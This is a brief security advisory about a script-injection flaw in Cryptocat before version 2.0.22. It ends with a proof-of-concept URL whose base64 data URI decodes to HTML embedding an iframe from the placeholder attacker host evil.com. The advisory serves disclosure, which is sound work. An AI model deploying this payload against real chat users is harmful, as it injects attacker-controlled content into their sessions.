Cryptocat Script Insertion

`Cryptocat is prone to an arbitrary script-injection vulnerability because it fails to properly sanitize user-supplied input.  
  
An attacker can exploit this issue to execute arbitrary script code within the context of the application.  
  
Versions prior to Cryptocat 2.0.22 are vulnerable.   
  
Http://example.come/data:image/foo;base64,PGh0bWw+PGlmcmFtZSBzcmM9Imh0dHA6Ly9ldmlsLmNvbS8iPjwvaWZyYW1lPjwvaHRtbD4NCg  
  
  
`